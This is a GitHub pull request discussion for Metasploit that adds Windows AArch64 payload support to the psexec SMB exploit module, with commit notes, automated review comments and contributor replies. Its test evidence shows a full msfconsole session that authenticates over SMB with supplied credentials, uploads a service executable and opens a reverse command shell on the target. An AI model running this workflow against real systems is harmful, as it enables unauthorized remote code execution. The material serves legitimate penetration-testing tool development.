Skip to content

Add AArch64 Windows target support to exploit/windows/smb/psexec - #21779

Open
bwatters-r7 wants to merge 4 commits into
rapid7:masterfrom
bwatters-r7:feature/add-aarch64-psexec
Open

Add AArch64 Windows target support to exploit/windows/smb/psexec#21779
bwatters-r7 wants to merge 4 commits into
rapid7:masterfrom
bwatters-r7:feature/add-aarch64-psexec

Conversation

@bwatters-r7

Copy link
Copy Markdown
Contributor

Description

We have AARCH64 shell payloads! This adds support for them into the psexec module.

Breaking Changes

None

Reviewer Notes

Verification Steps

Test Evidence

msf exploit(windows/smb/psexec) > set lhost 10.5.135.210
lhost => 10.5.135.210
msf exploit(windows/smb/psexec) > set verbose true
verbose => true
msf exploit(windows/smb/psexec) > set payload windows/aarch64/shell_reverse_tcp 
payload => windows/aarch64/shell_reverse_tcp
msf exploit(windows/smb/psexec) > set smbuser msfuser
smbuser => msfuser
msf exploit(windows/smb/psexec) > set smbpass v3Mpassword
smbpass => v3Mpassword
msf exploit(windows/smb/psexec) > run
[-] Msf::OptionValidateError A SESSION or RHOST must be provided
msf exploit(windows/smb/psexec) > set rhost 10.5.132.152
rhost => 10.5.132.152
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.210:45685 
[*] 10.5.132.152:445 - Connecting to the server...
[*] 10.5.132.152:445 - Authenticating to 10.5.132.152:445 as user 'msfuser'...
[!] 10.5.132.152:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 10.5.132.152:445 - Uploading payload... gSCgKTmt.exe
[*] 10.5.132.152:445 - Created \gSCgKTmt.exe...
[*] 10.5.132.152:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.152[\svcctl] ...
[*] 10.5.132.152:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.152[\svcctl] ...
[*] 10.5.132.152:445 - Obtaining a service manager handle...
[*] 10.5.132.152:445 - Creating the service...
[+] 10.5.132.152:445 - Successfully created the service
[*] 10.5.132.152:445 - Starting the service...
[*] Command shell session 1 opened (10.5.135.210:45685 -> 10.5.132.152:49985) at 2026-08-12 12:01:31 -0500
[+] 10.5.132.152:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.152:445 - Removing the service...
[+] 10.5.132.152:445 - Successfully removed the service
[*] 10.5.132.152:445 - Closing service handle...
[*] 10.5.132.152:445 - Deleting \gSCgKTmt.exe...


Shell Banner:
Microsoft Windows [Version 10.0.26200.5670]
-----
          

C:\Windows\System32>systeminfo
systeminfo

Host Name:                     DESKTOP-EKV6R5S
OS Name:                       Microsoft Windows 11 Pro Insider Preview
OS Version:                    10.0.26200 N/A Build 26200
OS Manufacturer:               Microsoft Corporation
OS Configuration:              Standalone Workstation
OS Build Type:                 Multiprocessor Free
Registered Owner:              msfuser
Registered Organization:       N/A
Product ID:                    00330-80000-00000-AA264
Original Install Date:         7/10/2025, 5:06:25 PM
System Boot Time:              8/12/2026, 8:11:56 AM
System Manufacturer:           Microsoft Corporation
System Model:                  Virtual Machine
System Type:                   ARM64-based PC

Environment

Host Name:                     DESKTOP-EKV6R5S
OS Name:                       Microsoft Windows 11 Pro Insider Preview
OS Version:                    10.0.26200 N/A Build 26200
OS Manufacturer:               Microsoft Corporation
OS Configuration:              Standalone Workstation
OS Build Type:                 Multiprocessor Free
Registered Owner:              msfuser
Registered Organization:       N/A
Product ID:                    00330-80000-00000-AA264
Original Install Date:         7/10/2025, 5:06:25 PM
System Boot Time:              8/12/2026, 8:11:56 AM
System Manufacturer:           Microsoft Corporation
System Model:                  Virtual Machine
System Type:                   ARM64-based PC
Processor(s):                  1 Processor(s) Installed.
                               [01]: ARMv8 (64-bit) Family 8 Model D4B Revision   0 Qualcomm Technologies Inc ~2902 Mhz
BIOS Version:                  Microsoft Corporation Hyper-V UEFI Release v4.1, 9/25/2025

## AI Usage Disclosure

Claud Code


## Pre-Submission Checklist

- [ x ] No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
- [ x ] Tested on the target environment specified in the Environment section above
- [ ] Included RSpec tests for library changes _(encouraged for `lib/` changes)_
- [ x ] Read the [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and [module acceptance guidelines](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html)

The AArch64 Windows PE loader template (to_winaarch64pe) and the
windows/aarch64/exec payload already existed, but nothing actually
wired ARCH_AARCH64 into the executable-generation paths psexec (and
msfvenom/RPC) depend on:

- lib/msf/util/exe.rb: to_executable_fmt had no ARCH_AARCH64 case for
  exe/exe-service/exe-small/exe-only/msi/msi-nouac, so requesting any
  of those formats for AArch64 silently produced no output.
- lib/msf/core/exploit/exe.rb: generate_payload_exe_service (what
  psexec's native_upload calls) hard-coded an X64-or-X86 choice, so an
  AArch64 payload would have been embedded in a broken x86 PE.
- lib/msf/util/exe/windows/aarch64.rb: to_winaarch64pe had no bounds
  check on the template's fixed 8192-byte payload buffer, unlike the
  analogous to_win32pe_old.

Also add ARCH_AARCH64 to psexec's Automatic/Native upload/MOF upload
targets, and make Automatic skip the PowerShell-delivery branch for
AArch64 payloads (the rex-powershell injection wrapper only knows how
to spawn x86/x64 powershell.exe).

Only one AArch64 Windows payload exists upstream so far
(windows/aarch64/exec, single-stage command exec, no stager/meterpreter
for ARM64 Windows yet), so this enables command execution via psexec
against Windows-on-ARM targets, not a full session.

Verified live against a real Windows AArch64 host: Native upload with
PAYLOAD windows/aarch64/exec correctly generates and drops an ARM64 PE,
registers/starts/removes it as a service, and the embedded WinExec
shellcode executes as NT AUTHORITY\SYSTEM.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@vinicius-batistella

Copy link
Copy Markdown
Contributor

Hey, @bwatters-r7.
Happy to help finish it. I don’t have push access to your fork; if you add me as a collaborator (or prefer a PR against feature/add-aarch64-psexec), I can take a pass.
Also, I'd like to move exitfunk_aarch64.rb / reverse_tcp_aarch64.rb under lib/msf/core/payload/windows/aarch64/ to match the x64/ layout.

Just say which workflow you prefer. 👍

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds Windows ARM64 (AArch64) support to the exploit/windows/smb/psexec module by allowing AArch64 payload selection and routing Automatic targeting away from the PowerShell delivery path, while extending the framework’s Windows EXE generation paths to emit AArch64 executables (including when an exe-service is requested).

Changes:

  • Extend psexec module targets (Automatic/Native/MOF) to include ARCH_AARCH64, and force Automatic to select native upload when an AArch64 payload is chosen.
  • Add an explicit maximum payload size guard for the Windows AArch64 PE template generator.
  • Thread ARCH_AARCH64 through EXE format selection for exe-service and related Windows EXE outputs, and add AArch64 handling in generate_payload_exe_service.

Impact Analysis:

  • Blast radius: medium — affects modules/exploits/windows/smb/psexec users plus any consumers of Windows EXE generation (Msf::Util::EXE / Msf::Exploit::EXE), including payload generation flows.
  • Data and contract effects: introduces a hard size limit for AArch64 template-based EXE generation (errors on oversize payloads) and changes behavior when requesting Windows exe-service output for AArch64 (mapped to the loader template).
  • Rollback and test focus: rollback is straightforward (revert commits); test focus on AArch64 payload EXE generation (success + oversize failure) and psexec native upload execution path with an AArch64 payload.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 2 comments.

File Description
modules/exploits/windows/smb/psexec.rb Allows AArch64 payloads and makes Automatic target choose native upload for AArch64.
lib/msf/util/exe/windows/aarch64.rb Adds a fixed-size template limit constant and enforces a maximum embedded payload size.
lib/msf/util/exe.rb Adds AArch64 support for multiple Windows EXE format branches, including exe-service.
lib/msf/core/exploit/exe.rb Updates generate_payload_exe_service to generate an AArch64 Windows PE when requested.
Suppressed comments (1)

lib/msf/util/exe/windows/aarch64.rb:46

  • Important: Problem: to_winaarch64pe uses code.length and raises a generic RuntimeError on overflow, which is fragile for binary encodings and makes targeted rescue harder in library code. Impact: payload size checks can be inconsistent and callers can’t reliably rescue a specific error type. Fix: use code.bytesize and raise a more specific error (e.g., ArgumentError) with the actual size.
      if code.length > WINAARCH64_PAYLOAD_SPACE
        raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
                             "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
      end

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment on lines 74 to +78
[ 'Native upload', { # upload a service executable
'Arch' => [ARCH_X86, ARCH_X64],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases
} ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ],
Comment on lines 32 to +46
def to_winaarch64pe(framework, code, opts = {})
# Use the standard template if not specified by the user.
# This helper finds the full path and stores it in opts[:template].
set_template_default(opts, 'template_aarch64_windows.exe')

# Read the template directly from the path now stored in the options.
pe = File.read(opts[:template], mode: 'rb')

# Find the tag and inject the payload
bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')

if code.length > WINAARCH64_PAYLOAD_SPACE
raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
"#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is fine for now, but probably will need to be addressed once meterpreter for arm64 will exists

@bwatters-r7

Copy link
Copy Markdown
Contributor Author

@vinicius-batistella I don't think I can add you as a collaborator, since that permission appears to be at the repo level if I'm reading correctly. Feel free to PR to this branch, though! I'll be out of touch for a couple days but I should pop back up next week.

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Great, no worries. I'll do that way. Thanks.

The AArch64 Windows PE generator was added in this branch without a
matching spec, unlike its x86/x64 counterparts in
spec/lib/msf/util/exe/windows/common_spec.rb. Cover the two behaviours
that matter for callers that now route AArch64 payloads through it
(psexec, msfvenom, RPC):

  - a small payload is written at the "PAYLOAD:" tag offset in the
    template, the returned bytes are still an MZ/PE the same size as
    the template, and the surrounding template bytes are untouched;
  - a payload larger than WINAARCH64_PAYLOAD_SPACE raises the
    documented RuntimeError instead of silently overflowing the
    fixed-size buffer.

The oversize test computes its input from
Msf::Util::EXE::Windows::Aarch64::ClassMethods::WINAARCH64_PAYLOAD_SPACE
so widening the template buffer will surface the change here.

Co-authored-by: Cursor <cursoragent@cursor.com>
Add RSpec coverage for Msf::Util::EXE.to_winaarch64pe
@bwatters-r7

bwatters-r7 commented Aug 17, 2026

Copy link
Copy Markdown
Contributor Author

Looks like the MOF Upload option successfully uploads the MOF File, but then does not get execution. That behavior is matched on x64 Windows 11, so it is not a regression in AARCH64, but no longer a feature on Windows.
EDIT: Our MS17_010 documentation says our MOF library only works with Windows XP and 2003.... I should figure out if that's still the case.

native_upload_with_workaround now rescues the RuntimeError raised when
a payload exceeds an architecture's generator size (e.g. an AArch64
payload larger than 8192 bytes via the 'Native upload' target, which
advertises a 1GiB Payload Space) and turns it into a normal fail_with
instead of an unhandled exception.

Also attempted to pad to_winaarch64pe's injected shellcode out to the
full 8192-byte template buffer (matching to_win32pe_old's pattern),
but reverted that: it broke a verified-working 'Native upload' run
(ERROR_BAD_EXE_FORMAT/193) against a live AArch64 Windows target, so
the template's reserved payload region is evidently not safely
fillable to its full nominal size. Left as-is pending further
investigation.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@bwatters-r7

Copy link
Copy Markdown
Contributor Author

I noticed that we don't support powershell execution because we don't have support for powershell injection on AARCH64 in the rex-powershell library.
I don't think we'd need to add it here, but it would be nice to have as we move forward. I also have no idea how much work it will require.

I think we'd need to add it here: https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/payload.rb
Is that something you'd be interested in pursuing, @vinicius-batistella?

@bcoles

bcoles commented Aug 18, 2026

Copy link
Copy Markdown
Contributor

Looks like the MOF Upload option successfully uploads the MOF File, but then does not get execution. That behavior is matched on x64 Windows 11, so it is not a regression in AARCH64, but no longer a feature on Windows. EDIT: Our MS17_010 documentation says our MOF library only works with Windows XP and 2003.... I should figure out if that's still the case.

Correct. The WBEM + MOF auto exec technique was Windows XP / 2003 era only. Dropped in Vista / 7.

@vinicius-batistella

vinicius-batistella commented Aug 18, 2026

Copy link
Copy Markdown
Contributor

Hey, @bwatters-r7.
Sure thing. I'll have a look at it tomorrow and I'll open the PR in rapid7/rex-powershell as soon as possible this week.

@bwatters-r7
bwatters-r7 requested a lite review from Copilot August 18, 2026 14:52
@bwatters-r7
bwatters-r7 marked this pull request as ready for review August 18, 2026 14:52

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 5 out of 5 changed files in this pull request and generated no new comments.

Suppressed comments (4)

lib/msf/util/exe/windows/aarch64.rb:46

  • Important: Problem: to_winaarch64pe raises a generic RuntimeError for oversize payloads. Impact: callers have to rescue overly-broad exceptions (or crash) which can mask unrelated runtime failures. Fix: raise a more specific exception (e.g. ArgumentError) and include the actual payload size in the message.
      if code.length > WINAARCH64_PAYLOAD_SPACE
        raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
                             "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
      end

modules/exploits/windows/smb/psexec.rb:129

  • Important: Problem: native_upload_with_workaround rescues RuntimeError, which can swallow unrelated runtime failures inside native_upload. Impact: real errors can be misreported as payload-generation failures, making debugging harder. Fix: rescue the specific exception type raised for oversize AArch64 payloads (e.g. ArgumentError after tightening the generator) instead of all RuntimeErrors.
  rescue RuntimeError => e
    # generate_payload_exe_service can raise a plain RuntimeError when the
    # encoded payload doesn't fit the target architecture's generator (e.g.
    # AArch64's loader template is capped at 8192 bytes, well under the
    # 1GiB this target advertises for 'Native upload'). Surface that as a
    # normal exploit failure instead of an unhandled exception.
    fail_with(Msf::Exploit::Failure::PayloadFailed, "#{peer} - Failed to generate the service executable: #{e.message}")

spec/lib/msf/util/exe/windows/aarch64_spec.rb:49

  • Important: Problem: the spec expects RuntimeError, but the generator should raise a more specific exception for invalid input sizes (e.g. ArgumentError). Impact: tightening the generator’s error type will break this spec. Fix: update the expectation to match the new exception type.
    it 'raises when the payload exceeds the template payload buffer' do
      oversized = 'B'.b * (max_payload_space + 1)
      expect { Msf::Util::EXE.to_winaarch64pe(nil, oversized, template: template) }
        .to raise_error(RuntimeError, /max size of #{max_payload_space} bytes/)
    end

modules/exploits/windows/smb/psexec.rb:79

  • Suggestion: Problem: the inline reference to Msf::Util::EXE::Windows::Aarch64::WINAARCH64_PAYLOAD_SPACE is incorrect because the constant is defined under ClassMethods. Impact: future maintainers will be sent to a non-existent constant path. Fix: update the comment to point at the real constant name/location.
            # service executables place the payload within a segment, 1GiB is a practical max in many cases.
            # AArch64 is a notable exception: it has no dedicated service template yet, so it reuses the
            # loader template's fixed 8192-byte buffer (see Msf::Util::EXE::Windows::Aarch64::WINAARCH64_PAYLOAD_SPACE).
            # native_upload_with_workaround rescues the resulting RuntimeError if an AArch64 payload is too big.

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Hey @bwatters-r7 — took a swing at the rex-powershell side and opened rapid7/rex-powershell#49.
run_hidden_psh now checks PROCESSOR_ARCHITECTURE / PROCESSOR_ARCHITEW6432 before the existing [IntPtr]::Size check so WoA hosts get routed correctly, and payload_arch accepts 'aarch64'. Templates didn't need changes — a spike on an ARM64 Windows 11 VM confirmed VirtualProtect's RW→RX transition flushes the I-cache, so the reflection loader runs AArch64 shellcode as-is.

Comment thread modules/exploits/windows/smb/psexec.rb
Comment thread lib/msf/util/exe.rb

@dledda-r7 dledda-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code looks good to me, i will double check on a live system and land it.

@github-project-automation github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban Aug 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

5 participants